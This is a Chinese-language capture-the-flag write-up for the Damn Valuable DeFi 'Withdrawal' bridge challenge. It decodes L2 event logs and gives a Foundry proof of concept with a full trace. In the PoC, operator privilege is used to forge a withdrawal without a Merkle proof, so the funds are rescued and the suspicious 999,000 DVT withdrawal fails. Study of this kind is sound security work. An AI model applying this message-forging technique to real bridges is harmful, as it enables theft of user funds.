Skip to content

Latest commit

 

History

History
337 lines (307 loc) · 25.5 KB

File metadata and controls

337 lines (307 loc) · 25.5 KB

题目 Withdrawal

有一个代币桥,可以将Damn Valuable Tokens从L2提取到L1。桥的余额有一百万个DVT代币。

桥的L1端允许任何人在延迟期结束后完成提取,只要他们能提供一个有效的Merkle证明。该证明必须与桥的所有者设定的最新提取根相对应。

你收到了一个JSON文件,其中包含了在L2上发起的4笔提取的事件日志。它们在7天延迟期之后可以在L1上执行。

但是其中有一笔看起来很可疑,不是吗?你可能想要仔细检查,因为所有资金都可能面临风险。幸运的是,你是一个拥有特殊权限的桥操作员。

通过完成所有给定的提取操作来保护桥,防止那个可疑的提取被执行,并且设法不耗尽所有资金。

要求:

  1. 最终桥的 DVT 余额保留 99% 以上,即 990000 以上。
  2. 你的账户上没有 DVT 余额。
  3. 你作为特权操作员,完成所有给定的提款,同时阻止可疑的提款执行。所有给定的提款(包括可疑的)都被标记为已处理。

题解

我们先来结合合约代码看看 4 笔 L2 上的 log 信息: topics[0]:0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5
对应的 event signature 为 keccak256("MessageStored(bytes32,uint256,address,address,uint256,bytes)") 通过 L2MessageStore.sol 得知:

  • topocs[1]: nonce
  • topocs[2]: caller
  • topocs[3]: target log 的 data 区域为 bytes32 iduint256 timestampbytes data 组成。
event MessageStored(bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data);

L2Handler.sol 可知 bytes dataabi.encodeCall(L1Forwarder.forwardMessage, (nonce, msg.sender, target, message)) 构成。

function sendMessage(address target, bytes calldata message) external {
    l2MessageStore.store({
        target: address(l1Forwarder),
        data: abi.encodeCall(L1Forwarder.forwardMessage, (nonce, msg.sender, target, message))
    });

    unchecked {
        nonce++;
    }
}

4 个 log topics 部分除了 nonce 字段,其余是一样的,含义如下:

"topics": [
    "0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5",  // event signature
    "0x0000000000000000000000000000000000000000000000000000000000000000",  // nonce 
    "0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16",  // caller (l2Handler)
    "0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5"   // target (l1Forwarder)
],

4 个 log 的 data 部分,解码如下:

eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba  // id
0000000000000000000000000000000000000000000000000000000066729b63  // timestamp
0000000000000000000000000000000000000000000000000000000000000060  // data.offset
0000000000000000000000000000000000000000000000000000000000000104  // data.length
01210a38                                                          // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000000  // nonce 
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6  // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50  // target(TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080  // message.offset
0000000000000000000000000000000000000000000000000000000000000044  // message.length
81191e51                                                          // TokenBridge.executeTokenWithdrawal.selector
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6  // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000  // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60  // id
0000000000000000000000000000000000000000000000000000000066729b95  // timestamp
0000000000000000000000000000000000000000000000000000000000000060  // data.offset
0000000000000000000000000000000000000000000000000000000000000104  // data.length
01210a38                                                          // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000001  // nonce 
0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e  // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50  // target(TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080  // message.offset
0000000000000000000000000000000000000000000000000000000000000044  // message.length
81191e51                                                          // TokenBridge.executeTokenWithdrawal.selector
0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e  // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000  // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000  // receiver
000000000000000000000000000000000000000000000000
baee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015
0000000000000000000000000000000000000000000000000000000066729bea
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000104
01210a38
0000000000000000000000000000000000000000000000000000000000000002
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000044
81191e51
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
00000000000000000000000000000000000000000000d38be6051f27c2600000  // amount(999000 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09
0000000000000000000000000000000000000000000000000000000066729c37
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000104
01210a38
0000000000000000000000000000000000000000000000000000000000000003
000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000044
81191e51
000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b
0000000000000000000000000000000000000000000000008ac7230489e80000  // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000

可以看出,可疑的提币操作为第 3 笔的 999000 DVT。

由于我们有 Operator 权限,所以我们可以调用 L1Gateway.finalizeWithdrawal 函数,且不用检查 MerkleProof,故可以先提取 999000 DVT,然后到时间后再执行 4 笔提取操作,由于池子中资产不够,第 3 笔请求会失败,并且合约中对于调用成功与否都只是进行记录,不进行 revert,所以 4 笔交易都会标记成已处理。

最后把救援出的资产转回给资产池。

POC:

    function test_withdrawal() public checkSolvedByPlayer {
        // fake withdrawal operation and obtain tokens
        bytes memory message = abi.encodeCall(
            L1Forwarder.forwardMessage,
            (
                0, // nonce
                address(0), //  
                address(l1TokenBridge), // target
                abi.encodeCall( // message
                    TokenBridge.executeTokenWithdrawal,
                    (
                        player, // deployer receiver
                        990_000e18 //rescue 990_000e18
                    )
                )
            )
        );

        l1Gateway.finalizeWithdrawal(
            0, // nonce
            l2Handler, // pretend l2Handler 
            address(l1Forwarder), // target is l1Forwarder
            block.timestamp - 7 days, // to pass 7 days waiting peroid
            message, 
            new bytes32[](0)   
        );

        // Perform finalizedWithdrawals due to we are operator, don't need to provide merkleproof.
        
        vm.warp(1718786915 + 8 days);
        // first finalizeWithdrawal
        l1Gateway.finalizeWithdrawal(
            0, // nonce 0
            0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
            0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
            1718786915, // timestamp
            hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
            new bytes32[](0)    // Merkle proof
        );

        // second finalizeWithdrawal
        l1Gateway.finalizeWithdrawal(
            1, // nonce 1
            0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
            0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
            1718786965, // timestamp
            hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
            new bytes32[](0)    // Merkle proof
        );

        // third finalizeWithdrawal
        l1Gateway.finalizeWithdrawal(
            2, // nonce 2
            0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
            0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
            1718787050, // timestamp
            hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", // message
            new bytes32[](0)    // Merkle proof
        );

        // fourth finalizeWithdrawal
        l1Gateway.finalizeWithdrawal(
            3, // nonce 3
            0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
            0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
            1718787127, // timestamp
            hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
            new bytes32[](0)    // Merkle proof
        );
 
        token.transfer(address(l1TokenBridge),990_000e18);
        console.log("token.balanceOf(address(l1TokenBridge)",token.balanceOf(address(l1TokenBridge)));
    }

测试结果:

forge test --mp test/withdrawal/Withdrawal.t.sol -vvvv

[PASS] test_withdrawal() (gas: 473812)
Logs:
  token.balanceOf(address(l1TokenBridge) 999970000000000000000000

Traces:
  [597531] WithdrawalChallenge::test_withdrawal()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return] 
    ├─ [140028] L1Gateway::finalizeWithdrawal(0, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718182115 [1.718e9], 0x01210a38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e5100000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c00000000000000000000000000000000000000000000d1a401ee0332eec0000000000000000000000000000000000000000000000000000000000000, [])
    │   ├─ [81023] L1Forwarder::forwardMessage(0, 0x0000000000000000000000000000000000000000, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e5100000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c00000000000000000000000000000000000000000000d1a401ee0332eec00000)
    │   │   ├─ [426] L1Gateway::xSender() [staticcall]
    │   │   │   └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
    │   │   ├─ [38945] TokenBridge::executeTokenWithdrawal(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], 990000000000000000000000 [9.9e23])
    │   │   │   ├─ [365] L1Forwarder::getSender() [staticcall]
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000
    │   │   │   ├─ [29674] DamnValuableToken::transfer(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], 990000000000000000000000 [9.9e23])
    │   │   │   │   ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], amount: 990000000000000000000000 [9.9e23])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   ├─ emit FinalizedWithdrawal(leaf: 0xde4fbd6c2c395fce127ef6bd7ab51ee0e2fabd235e6d6fd9652036057396e573, success: true, isOperator: true)
    │   └─ ← [Stop] 
    ├─ [0] VM::warp(1719478115 [1.719e9])
    │   └─ ← [Return] 
    ├─ [108928] L1Gateway::finalizeWithdrawal(0, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718786915 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
    │   ├─ [78323] L1Forwarder::forwardMessage(0, 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e80000)
    │   │   ├─ [426] L1Gateway::xSender() [staticcall]
    │   │   │   └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
    │   │   ├─ [26845] TokenBridge::executeTokenWithdrawal(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, 10000000000000000000 [1e19])
    │   │   │   ├─ [365] L1Forwarder::getSender() [staticcall]
    │   │   │   │   └─ ← [Return] 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6
    │   │   │   ├─ [24874] DamnValuableToken::transfer(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, 10000000000000000000 [1e19])
    │   │   │   │   ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, amount: 10000000000000000000 [1e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   ├─ emit FinalizedWithdrawal(leaf: 0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba, success: true, isOperator: true)
    │   └─ ← [Stop] 
    ├─ [108928] L1Gateway::finalizeWithdrawal(1, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718786965 [1.718e9], 0x01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
    │   ├─ [78323] L1Forwarder::forwardMessage(1, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e80000)
    │   │   ├─ [426] L1Gateway::xSender() [staticcall]
    │   │   │   └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
    │   │   ├─ [26845] TokenBridge::executeTokenWithdrawal(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 10000000000000000000 [1e19])
    │   │   │   ├─ [365] L1Forwarder::getSender() [staticcall]
    │   │   │   │   └─ ← [Return] 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
    │   │   │   ├─ [24874] DamnValuableToken::transfer(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 10000000000000000000 [1e19])
    │   │   │   │   ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, amount: 10000000000000000000 [1e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   ├─ emit FinalizedWithdrawal(leaf: 0x0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60, success: true, isOperator: true)
    │   └─ ← [Stop] 
    ├─ [83488] L1Gateway::finalizeWithdrawal(2, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718787050 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000, [])
    │   ├─ [52883] L1Forwarder::forwardMessage(2, 0xea475d60c118d7058beF4bDd9c32bA51139a74e0, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c2600000)
    │   │   ├─ [426] L1Gateway::xSender() [staticcall]
    │   │   │   └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
    │   │   ├─ [1427] TokenBridge::executeTokenWithdrawal(0xea475d60c118d7058beF4bDd9c32bA51139a74e0, 999000000000000000000000 [9.99e23])
    │   │   │   ├─ [365] L1Forwarder::getSender() [staticcall]
    │   │   │   │   └─ ← [Return] 0xea475d60c118d7058beF4bDd9c32bA51139a74e0
    │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   └─ ← [Stop] 
    │   ├─ emit FinalizedWithdrawal(leaf: 0xbaee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015, success: true, isOperator: true)
    │   └─ ← [Stop] 
    ├─ [108928] L1Gateway::finalizeWithdrawal(3, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718787127 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
    │   ├─ [78323] L1Forwarder::forwardMessage(3, 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e80000)
    │   │   ├─ [426] L1Gateway::xSender() [staticcall]
    │   │   │   └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
    │   │   ├─ [26845] TokenBridge::executeTokenWithdrawal(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, 10000000000000000000 [1e19])
    │   │   │   ├─ [365] L1Forwarder::getSender() [staticcall]
    │   │   │   │   └─ ← [Return] 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b
    │   │   │   ├─ [24874] DamnValuableToken::transfer(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, 10000000000000000000 [1e19])
    │   │   │   │   ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, amount: 10000000000000000000 [1e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   ├─ emit FinalizedWithdrawal(leaf: 0x9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09, success: true, isOperator: true)
    │   └─ ← [Stop] 
    ├─ [2974] DamnValuableToken::transfer(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 990000000000000000000000 [9.9e23])
    │   ├─ emit Transfer(from: player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], to: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 990000000000000000000000 [9.9e23])
    │   └─ ← [Return] true
    ├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
    │   └─ ← [Return] 999970000000000000000000 [9.999e23]
    ├─ [0] console::log("token.balanceOf(address(l1TokenBridge)", 999970000000000000000000 [9.999e23]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
    │   └─ ← [Return] 999970000000000000000000 [9.999e23]
    ├─ [0] VM::assertLt(999970000000000000000000 [9.999e23], 1000000000000000000000000 [1e24]) [staticcall]
    │   └─ ← [Return] 
    ├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
    │   └─ ← [Return] 999970000000000000000000 [9.999e23]
    ├─ [0] VM::assertGt(999970000000000000000000 [9.999e23], 990000000000000000000000 [9.9e23]) [staticcall]
    │   └─ ← [Return] 
    ├─ [519] DamnValuableToken::balanceOf(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return] 
    ├─ [384] L1Gateway::counter() [staticcall]
    │   └─ ← [Return] 5
    ├─ [0] VM::assertGe(5, 4, "Not enough finalized withdrawals") [staticcall]
    │   └─ ← [Return] 
    ├─ [506] L1Gateway::finalizedWithdrawals(0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "First withdrawal not finalized") [staticcall]
    │   └─ ← [Return] 
    ├─ [506] L1Gateway::finalizedWithdrawals(0x0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "Second withdrawal not finalized") [staticcall]
    │   └─ ← [Return] 
    ├─ [506] L1Gateway::finalizedWithdrawals(0xbaee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "Third withdrawal not finalized") [staticcall]
    │   └─ ← [Return] 
    ├─ [506] L1Gateway::finalizedWithdrawals(0x9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "Fourth withdrawal not finalized") [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.00ms (2.85ms CPU time)